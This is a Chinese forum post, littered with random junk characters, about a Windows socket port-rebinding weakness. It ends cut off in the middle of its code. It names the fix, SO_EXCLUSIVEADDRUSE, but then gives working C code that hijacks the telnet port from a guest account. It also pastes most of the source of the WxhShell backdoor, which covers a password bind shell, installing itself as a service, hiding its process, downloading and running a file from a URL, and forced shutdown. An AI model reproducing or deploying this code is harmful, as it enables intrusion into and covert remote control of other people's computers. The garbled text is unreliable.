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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \&XtPQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d?6\ ^55q~DP}> saddr.sin_family = AF_INET; 9*Z!=Y#4, f%[0}.wp saddr.sin_addr.s_addr = htonl(INADDR_ANY); U;w|
=vM (fqU73 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xwhS[d FE=vUQXE2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DeK&_)g| Z O\X=vh/D 这意味着什么?意味着可以进行如下的攻击: Pl/B#Sbf' JHJIjYG>P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 52P^0<Wq >1*Dg?/=S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^ }k qAmr #Fkn-/nL 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G=(ja?d QHHj.ZY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 3UgPVCT 1sNZl& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]K-B#D{P tBjMm8lgb 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ewq7oq5: w+][L||4c 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D b&=
N oK@_
#include UA3!28Y&E3 #include
qZ<|A%WQ #include a/Ik^:>m #include Nm{J=` DWORD WINAPI ClientThread(LPVOID lpParam); -Pp =)_O int main() :"Gd;~p. { &=[N{N?( WORD wVersionRequested; U6IvN@
g DWORD ret; [M#I Nm} WSADATA wsaData; *|B5,Ey BOOL val; gR76g4|=; SOCKADDR_IN saddr; u
OB`A-K SOCKADDR_IN scaddr; W<\*5oB%H int err; X,`^z,M%I SOCKET s; mV;)V8' SOCKET sc; gg?O0W{ int caddsize; y.aeXlc[ HANDLE mt; LL%s$>c65A DWORD tid; uB;PaZG?{ wVersionRequested = MAKEWORD( 2, 2 ); SU7 erCHX err = WSAStartup( wVersionRequested, &wsaData ); L"It0C if ( err != 0 ) {
[P3
Z"& printf("error!WSAStartup failed!\n"); }JM02R~I return -1; ekPn`U } ,|^ lqY saddr.sin_family = AF_INET; H=@S+4_bK y{9<>28 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [pzo[0G 'v \=
G8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8,&pX ga saddr.sin_port = htons(23); 1$v1:6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7hAc6M$h; { A 6j>KTU printf("error!socket failed!\n"); A3A"^f$$ return -1; #eY?6Kjn } :pNu$%q val = TRUE; xlm:erP //SO_REUSEADDR选项就是可以实现端口重绑定的 C<E;f]d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *n*po.Xr { w9,w?%F printf("error!setsockopt failed!\n"); 28,g 'k! return -1; ' p!\[*e } W@WKdaJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ey]P
>J //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "%dok@v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9$ =o({ -!-1X7v|Fp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8C4v { m%.7l8vT ret=GetLastError(); UEH+E&BCC printf("error!bind failed!\n"); x}7` Q:k= return -1; X+'B*K$ } /9<62F@zJ" listen(s,2); WV,j
<x9w while(1) Ixr#zt$T-G { 7b
hJt_`Q caddsize = sizeof(scaddr); Lb0B m R%0 //接受连接请求 F2C v,&' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )(DX]Tr` if(sc!=INVALID_SOCKET) 5@`DS-7h { v0W/7?D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I`[s(C>3@ if(mt==NULL) F(;95TB { 8]A`WDO3 printf("Thread Creat Failed!\n"); Qg5-I$0 break; ^T_2s } ;oJCV"y6$ } ^ jT1q_0 CloseHandle(mt); GU]_Z!3 } !A#(bC closesocket(s); ct@i]}"` WSACleanup(); ,_U3p , return 0; A>Xt 5vk+ } >OW>^%\!1 DWORD WINAPI ClientThread(LPVOID lpParam) .WpvDDUK3 { l>?k>NEpP SOCKET ss = (SOCKET)lpParam; 4qg]
oiT SOCKET sc; ds<q"S{p unsigned char buf[4096]; \"=b8x SOCKADDR_IN saddr; k-|b{QZ8!; long num; O_|p{65 DWORD val; EM0]"s@Lf DWORD ret; BLcsIyq //如果是隐藏端口应用的话,可以在此处加一些判断 ?vocI //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 )jm u*D5N saddr.sin_family = AF_INET; 9p%8VDF= saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rRd8W}B saddr.sin_port = htons(23); "Rq)%o$Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{U7A&e0eW { mqKr+
printf("error!socket failed!\n"); ZfSAXr "( return -1; Q+=D#x } -: 8[ val = 100; .>+jtp} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f}?q { A"no!AN ret = GetLastError(); JTfG^Nv>K return -1; dx[kG } 6dQ]=]; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .+2@(r { cP&XkAQ ret = GetLastError(); {,
zg return -1; :Wmio\ } [B" CNnA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WoX,F1 o { ~JSa]6:_+ printf("error!socket connect failed!\n"); 1xt N3{c closesocket(sc); <|c[
#f
closesocket(ss); r^$WX@ t& return -1; $ZfoJR]% } RMO6k bfP while(1) %N0cp@Vz { 0Lki( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F<|x_6a\ //如果是嗅探内容的话,可以再此处进行内容分析和记录 'qnnZE //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -40OS=wpA num = recv(ss,buf,4096,0); -8D$ [@y( if(num>0) =3<@{^Eg send(sc,buf,num,0); N[8y+2SZ else if(num==0) ["
nDw<U break; O/bpm-h`8c num = recv(sc,buf,4096,0); ]Q*eCt;l"K if(num>0) Sp^jC
Xu send(ss,buf,num,0); iTg7@% else if(num==0) }5a$Ka- break; u|uPvbM } (H-Y-Lk+ closesocket(ss); \ws^L,h closesocket(sc); Gw0MDV&[ return 0 ; /%5X:*:H } =EdLffU[J v
%GcNjZk5 wC4:OJ[d ========================================================== &W:R#/| HE>sZ; 下边附上一个代码,,WXhSHELL #+6t| YMTB4|{ ========================================================== { 0vHgi eE-c40Bae #include "stdafx.h" 0Rze9od]$ l1wYN,rv #include <stdio.h> >5+]~[S #include <string.h> s^Wh!:>r/ #include <windows.h> ~<&47'D #include <winsock2.h> ye-R #include <winsvc.h> _Vf0MU;3f+ #include <urlmon.h> bRb+3au_x
SwVdo|%.? #pragma comment (lib, "Ws2_32.lib") .*+KQA8 #pragma comment (lib, "urlmon.lib") =x3ZQA E#A}J: #define MAX_USER 100 // 最大客户端连接数 #(Ah>y #define BUF_SOCK 200 // sock buffer
wk (}q #define KEY_BUFF 255 // 输入 buffer E2a00i/9Y 1X$hwkof #define REBOOT 0 // 重启 _;yi/)-2 #define SHUTDOWN 1 // 关机 cp\A
xWtUZ ~TvKMW6/# #define DEF_PORT 5000 // 监听端口 v"I#.{LiH= |}07tUq #define REG_LEN 16 // 注册表键长度 i*\\j1mf #define SVC_LEN 80 // NT服务名长度 d7
W[.M$] vhz[ H // 从dll定义API _=Eb:n+X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A{IJ](5.kd typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +bhR[V{0g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mV'XH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q[
-YXO Jjr&+Q^3Tu // wxhshell配置信息 v*[oe struct WSCFG { m,X8Cy|vQ int ws_port; // 监听端口 KccI Yn~ char ws_passstr[REG_LEN]; // 口令 i
.GJO +K int ws_autoins; // 安装标记, 1=yes 0=no 1I#]OY#> char ws_regname[REG_LEN]; // 注册表键名 0g{`Qd char ws_svcname[REG_LEN]; // 服务名 j YVR"D; char ws_svcdisp[SVC_LEN]; // 服务显示名 ;NJx9)7< char ws_svcdesc[SVC_LEN]; // 服务描述信息 cmu| d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p\).zuEf. int ws_downexe; // 下载执行标记, 1=yes 0=no `m_('N char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" z=[?&X]O9b char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1<(('H gT&s &0_7 };
a^5.gfzA pG-9H3[f# // default Wxhshell configuration /T\'&s3D+ struct WSCFG wscfg={DEF_PORT, J4l\ "xuhuanlingzhe", rQLl[a 1, 02RZ>m+ "Wxhshell", CUI\:a- "Wxhshell", K4w#}gzok "WxhShell Service", N7l`-y "Wrsky Windows CmdShell Service", <uKd)l "Please Input Your Password: ", ZdsYIRU# 1, @GyxOc@6 " http://www.wrsky.com/wxhshell.exe", ~^ <1k- "Wxhshell.exe" I8%Uyap{ }; $eU oFa5A 5BAGIO<w // 消息定义模块 \&jmSa=]l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7ZR0cJw; char *msg_ws_prompt="\n\r? for help\n\r#>"; P~^VLnw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Iss)7I char *msg_ws_ext="\n\rExit."; 6!T9VL\=H char *msg_ws_end="\n\rQuit."; /YrBnccqD char *msg_ws_boot="\n\rReboot..."; :oeDksld char *msg_ws_poff="\n\rShutdown..."; 6>)oG6 char *msg_ws_down="\n\rSave to "; uozK'L ?"Ec#,~ char *msg_ws_err="\n\rErr!"; 5fjL char *msg_ws_ok="\n\rOK!"; ;QS(`SK l U'oFW@Y;h char ExeFile[MAX_PATH]; UfxYD int nUser = 0; (Z |Nz *< HANDLE handles[MAX_USER]; sgfci{~ int OsIsNt;
z?M_Cz;:J }|9!|Q SERVICE_STATUS serviceStatus; *P;
cSx?2 SERVICE_STATUS_HANDLE hServiceStatusHandle; Vm]xV_FOd [~Vj(H=KwI // 函数声明 $Le|4Hj int Install(void); \NF5)]: int Uninstall(void); b
sM]5^ int DownloadFile(char *sURL, SOCKET wsh); /t|Lu@&:Xo int Boot(int flag); HOSt0IHzty void HideProc(void); jM5w<T-2/ int GetOsVer(void);
<
pWk
int Wxhshell(SOCKET wsl); +zL|j/q ? void TalkWithClient(void *cs); AA &>6JB{ int CmdShell(SOCKET sock); W20H4!G int StartFromService(void); oksAQnQe int StartWxhshell(LPSTR lpCmdLine); L}Rsg'U {Lg]chJq? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t#N@0kIX. VOID WINAPI NTServiceHandler( DWORD fdwControl ); UpFm3gKF lK"m|Z // 数据结构和表定义 $VNj0i. Pr SERVICE_TABLE_ENTRY DispatchTable[] = nAT,y9& { Q^ }Ib[ {wscfg.ws_svcname, NTServiceMain}, N/x]-$fl {NULL, NULL} Em]2K: };
ANuO(^ 76eF6N+%}t // 自我安装 TJ_pMU int Install(void) qx f8f { DcRvZH char svExeFile[MAX_PATH]; "STd ;vR HKEY key; vT{+Z\LL= strcpy(svExeFile,ExeFile); svRYdInBNu C-tkYP
// 如果是win9x系统,修改注册表设为自启动 t$EL3U/( if(!OsIsNt) { K:L_y1!T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aQHB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1%$Z%? RegCloseKey(key); i TLX=.M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ncdj/C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #t< RegCloseKey(key); vJ9IDc|[ return 0; /I48jO^2 } {JlSfJw! } sIzy/W0iV } 7fXta|eP0 else { {v,NNKQ4x bR'UhPs-8; // 如果是NT以上系统,安装为系统服务 3XSfXS{lwP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y|nC_7&Bv if (schSCManager!=0) r?2J
{ `
#; " SC_HANDLE schService = CreateService 3,^. ( ngOGo = schSCManager, KXT9Wt= wscfg.ws_svcname, -LU%z' wscfg.ws_svcdisp, sH51 .JG SERVICE_ALL_ACCESS, |crm{]7X SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L/xTW SERVICE_AUTO_START, !6FO[^h||H SERVICE_ERROR_NORMAL, [79iC$8B| svExeFile, ksy]t| NULL, 5kLz8n^z@@ NULL, "_
H9]}Q NULL, T!X`"rI NULL, E RjMe'q4 NULL k"F \4M ); p+#]Jr if (schService!=0) S0w:R:q}L { !:3X{)4 CloseServiceHandle(schService); \rM5@
Vf CloseServiceHandle(schSCManager); ows3% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +}x\|O strcat(svExeFile,wscfg.ws_svcname); +'9E4Lpx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sf'uKSX1% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D}~uxw;[^ RegCloseKey(key); UIC~%?oIA return 0; q$'D}OH T } v2Vmcc_]9x } _c>8y CloseServiceHandle(schSCManager); 88On{Kk.v } in7h^6?I } 2" u,f PW+B&7{ return 1; 0]xp"xOwW } MW|R)gt +vIsYg*#2M // 自我卸载 c Rv#aV int Uninstall(void) 7;9 Jn { |3G;Rh9w, HKEY key; vg8Yc }"M5"? if(!OsIsNt) { k]rc -c- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [Om,Q< RegDeleteValue(key,wscfg.ws_regname); a5?Yh<cJ RegCloseKey(key); a=
(v S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Vx_$E RegDeleteValue(key,wscfg.ws_regname); 1ZY~qP+n+ RegCloseKey(key); g\1|<jb3 return 0; .u:aX$t+ } :6J&%n
} R(f6uO!m } @?*;
-]#) else { ^$s&bH'8 y I} > SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kD}vK+ if (schSCManager!=0) RT<HiVr` { >%LY0(hY3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rgF4 W8 if (schService!=0) )]C(NTfxg { d:{}0hmxI if(DeleteService(schService)!=0) { q!{>Nlk CloseServiceHandle(schService); 6&o?#l;| CloseServiceHandle(schSCManager); *p0Kw> return 0; uyvjo)T } o(yyj'=( CloseServiceHandle(schService); Id=V\'$o } 0ax;Q[z2 CloseServiceHandle(schSCManager); @H$Sv } PR7B
Cxm } sh*/wM kS4YxtvB return 1; 40G'3HOp } zEt!Pug W'6sY@0m // 从指定url下载文件 F+!9T int DownloadFile(char *sURL, SOCKET wsh) Q5HSik4 { \_x~lRqJJ HRESULT hr; 54#P char seps[]= "/";
'Pxq>Os char *token; CU:HTz= char *file; g3f;JB char myURL[MAX_PATH]; q6}KOO) char myFILE[MAX_PATH]; " c+$GS }#S1!TU strcpy(myURL,sURL); " s}Oeu[ token=strtok(myURL,seps); gYBMi)`RT while(token!=NULL) v.hQ9#: { $'<FPbUtD} file=token; }Fsr"RER@{ token=strtok(NULL,seps); C;~LY&= } tIS.,CEQF $\q.Zb GetCurrentDirectory(MAX_PATH,myFILE); f)mOeD*u| strcat(myFILE, "\\"); 0O a&vx strcat(myFILE, file); -us:!p1T send(wsh,myFILE,strlen(myFILE),0); [5]n,toAh send(wsh,"...",3,0); pj$kSS|m6- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dZX;k0 if(hr==S_OK) 'Y/kF1,* return 0; &Q* 7 else Zv(6VVj return 1; Bru] ;%Qg% ^^F 8M0k3 } A0OA7m:~4 Eihy|p // 系统电源模块 "]|7%] int Boot(int flag) 7Ah { LTB
rg[X HANDLE hToken; Bg}l$?S TOKEN_PRIVILEGES tkp; BkP4.XRI ;*0nPhBw0> if(OsIsNt) { 2.vmZaKP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 11c\C Iu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >!Xj%RW tkp.PrivilegeCount = 1; _-rC]iQJ55 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DF
UTQ:N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;y-:)7J if(flag==REBOOT) { w[ $oH^7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w|Ry)[ return 0; E#,\[<pc } U8-OQ:2. else { o2cc3`*8d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7!wc'~; return 0; P- +]4\ } xGFbh4H=8p } O3mw5<%15 else { T8&eaAoo if(flag==REBOOT) { I;n<)
> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5{#s<%b. return 0; =iH9=}aBFC } [$td:N
* else { jo3(\Bq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .FV^hrJxI; return 0; 4LW~ } 9tb-;| } bZr,jLEf ?1zGs2Qs return 1; ^;F5ymb3U } +25=u|#4r e-OKv#] // win9x进程隐藏模块 1z0|uc
void HideProc(void) kKjcW` [ { iSUu3Yv,_m UWhJkJsX HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'IT]VRObP if ( hKernel != NULL ) ~ch%mI~ { ,fqM>Q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L62%s[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K|OPtYeb FreeLibrary(hKernel); z 2jC48~ } f/s" 2r UR9\g( return; ,7k-LAA } ALcPbr z"mpwmv5 // 获取操作系统版本 Go^TTL int GetOsVer(void) ><>%;HZ { \ q3ui}-9 OSVERSIONINFO winfo; *A4eYHn@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [S8*b^t4 GetVersionEx(&winfo); 2i;ox*SfpU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cD=IFOB*GD return 1; NUJ $)qNA else ly35n` return 0; aC%Q.+-t
} Jgg< u# l5~O}`gfh // 客户端句柄模块 mlCg&fnDB int Wxhshell(SOCKET wsl) ``I[1cC { BFg&@7.X SOCKET wsh; U^BM 5b struct sockaddr_in client; #HW<@E DWORD myID; vU5}E\Ny sHMO9{[7H while(nUser<MAX_USER) VumM`SH { k#u)+e.' int nSize=sizeof(client); D6|-nl wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0xO*8aKT if(wsh==INVALID_SOCKET) return 1; ^sFO[cYo biBMd(6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jwBJG7\ if(handles[nUser]==0) <pjxJ<1l closesocket(wsh); Sk1t~ else f8aY6o"i nUser++; eG8l^[ } U djYRfk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ("r:L<xe& Ir5|H|b< return 0; Jj\lF*B } awvP;F?q| @6UZC-M0 // 关闭 socket \v5;t9uBZ void CloseIt(SOCKET wsh) c#"t.j<E} { zH6@v+gb closesocket(wsh); 2%6 >)| nUser--; B /w&Lo ExitThread(0); F?05+ } #p55/54ZI x#N_h0[i // 客户端请求句柄 yjMN>L' void TalkWithClient(void *cs) deVnAu = { y+w,j] {j;` wN SOCKET wsh=(SOCKET)cs; w=n(2M56C char pwd[SVC_LEN]; J 7 G-qF\ char cmd[KEY_BUFF]; tq3Rc}
char chr[1]; OG$v"Yf~ int i,j; DcdEt=\)h Hh*?[-&r~ while (nUser < MAX_USER) { xE]y*\ CswKT9 if(wscfg.ws_passstr) { i%i/>;DF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1JfZstT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Ci/-3HV! //ZeroMemory(pwd,KEY_BUFF); {>9ED.t i=0; X(X[v] while(i<SVC_LEN) { ,Kl?-W@ X-kOp9/. // 设置超时 +egwZ$5I fd_set FdRead; n*A1x8tn struct timeval TimeOut; _oCNrjt9 FD_ZERO(&FdRead); {\%I;2X FD_SET(wsh,&FdRead); XD|g G TimeOut.tv_sec=8; Bf;_~1+vLG TimeOut.tv_usec=0; `OWHf?t: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y%;o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q~[sKAh M}# DX=NZc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H?8'( pwd =chr[0]; (.V),NKG if(chr[0]==0xd || chr[0]==0xa) { kaB4[u pwd=0; |rwY
break; rzn,NFI } \yFUQq: i++; wW1\{<hgr } 4C%pKV <Nqbp // 如果是非法用户,关闭 socket {.jW"0U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )y;7\-K0 } matna c>{QTI:] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M3O !jN~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2M'dTXz $*iovam>^] while(1) { ]VLseF 3oMHy5 ZeroMemory(cmd,KEY_BUFF); z]+L=+,, S7Ty}?E@ // 自动支持客户端 telnet标准 Ec3tfcNhR j=0; p^|l ',e while(j<KEY_BUFF) { ,&WwADZ-s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =urGs`\ cmd[j]=chr[0]; j;Z?q%M{6 if(chr[0]==0xa || chr[0]==0xd) { T-6<qh cmd[j]=0; m 0vW< break; 0FI
|7 } -|KZOea j++; PBCGC^0{ } 4,c6VCw3+ Z%B6J>;u M // 下载文件 X(*O$B{
R if(strstr(cmd,"http://")) { bNVeL$' send(wsh,msg_ws_down,strlen(msg_ws_down),0); HdI)Z<Krp if(DownloadFile(cmd,wsh)) 9%iQ~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BB(6[V"SV else *Z_4bR4Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D\-\U
E/ } o#,^7ln else { yvoz 3_! 7\,9Gcv1 switch(cmd[0]) { *1<kYrB iI";m0Ny // 帮助 Gw$ 5<%sB case '?': { ~<n.5q%Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )B0%"0?`8 break; >!xyA; } /0XMQy // 安装 Tgr,1)T case 'i': { ()l3X.t,$ if(Install()) ~BmA!BZV` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ji1vLu4|t else 0zB[seyE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "O4A&PJD break;
r9})~>
} >- \bLr // 卸载 ")STB8kQ case 'r': { nwUz}em?O if(Uninstall()) q_h (D/g send(wsh,msg_ws_err,strlen(msg_ws_err),0); V&s|I oTR else A,c XN1V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qGV_oa74 break; V>`ANZ4 } y]fI7nu& // 显示 wxhshell 所在路径 yQN{)rv case 'p': { Jq'8" char svExeFile[MAX_PATH]; _o$jk8jOjW strcpy(svExeFile,"\n\r"); mnsl$H_4S strcat(svExeFile,ExeFile); XAU%B-l: send(wsh,svExeFile,strlen(svExeFile),0); I1U2wD break; ?Z7QD8N
} Tz,9>uN // 重启 -PE_q Z^ case 'b': { Zob/H+] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :]@c%~~!& if(Boot(REBOOT)) I'BhN#GhX send(wsh,msg_ws_err,strlen(msg_ws_err),0); S-7&$n else { _Ns EeKU closesocket(wsh); K8sRan[4} ExitThread(0); - |g"q| } '%QCNO/ break; vyIH<@@p7 } E>|X'I?r^ // 关机 *(F`NJ 3 case 'd': { WYUDD_m send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M}V!;o<t^ if(Boot(SHUTDOWN)) Ic0Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); gVOAB-nw else { akzGJ3g closesocket(wsh); 4\Y5RfLB_ ExitThread(0); 0+* NHiH } pi?MAE*f break; GT&}Burl/n } -SrZ^ // 获取shell 7#0buXBg case 's': { sI!H=bp-8 CmdShell(wsh); &xQM!f closesocket(wsh); 3c=kYcj ExitThread(0); tTLg;YjN break; 05`"U#`: } lb-1z]YwQ // 退出 l?U=s7s0? case 'x': { bx8](cT_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4VwF\ CloseIt(wsh); &vpKBR^ break; \g39>;iR } M Irx,d // 离开 rGyAzL] case 'q': { fORkH^Y(& send(wsh,msg_ws_end,strlen(msg_ws_end),0); K
-U}sW closesocket(wsh); ,_Z(!|
rW WSACleanup(); /uwi$~Ed exit(1); >%j%Mj@8q| break; J~k9jeq9 } 5 8bW } Rqh5FzB> } ,yYcjs!=o 4N,mcV // 提示信息 EO&Q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "]+g5G } JL1ajlm~ } WEimJrAn ::|~tLFu return; qz-QVY, } 2X?GEO]/4 KUAzJ[> // shell模块句柄 t<!;shH,s int CmdShell(SOCKET sock) j~Aq-8R= { kOYUxr.b STARTUPINFO si; 4+RR`I8$Ge ZeroMemory(&si,sizeof(si)); @%]A,\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4I$Y(E} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AI-*5[w#A PROCESS_INFORMATION ProcessInfo; 2*|T)OA`m, char cmdline[]="cmd"; -zR<m CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ysW})#7X return 0; &]nx^C8V; } %;,fI'M ci~#G[_$S // 自身启动模式 ^`&'u_B!+ int StartFromService(void) r7m~.M+W" { b dgkA typedef struct H@Z_P p? { ;)(g$r^_i DWORD ExitStatus; D@O`"2 DWORD PebBaseAddress; 4ba*Nc*Yc DWORD AffinityMask; Z[oF4 z DWORD BasePriority; -K64J5|b7 ULONG UniqueProcessId; 2B
]q1>a! ULONG InheritedFromUniqueProcessId; oJ74Mra } PROCESS_BASIC_INFORMATION; z0[XI 7KK r
)F;8( PROCNTQSIP NtQueryInformationProcess; h.jJAVPi 4l$OO;B static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >HP
`B2Q
H static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8>&@"j #S}orWj
HANDLE hProcess; B>,eHXW PROCESS_BASIC_INFORMATION pbi; EuK}L[Kl b3ohTmy4( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YV
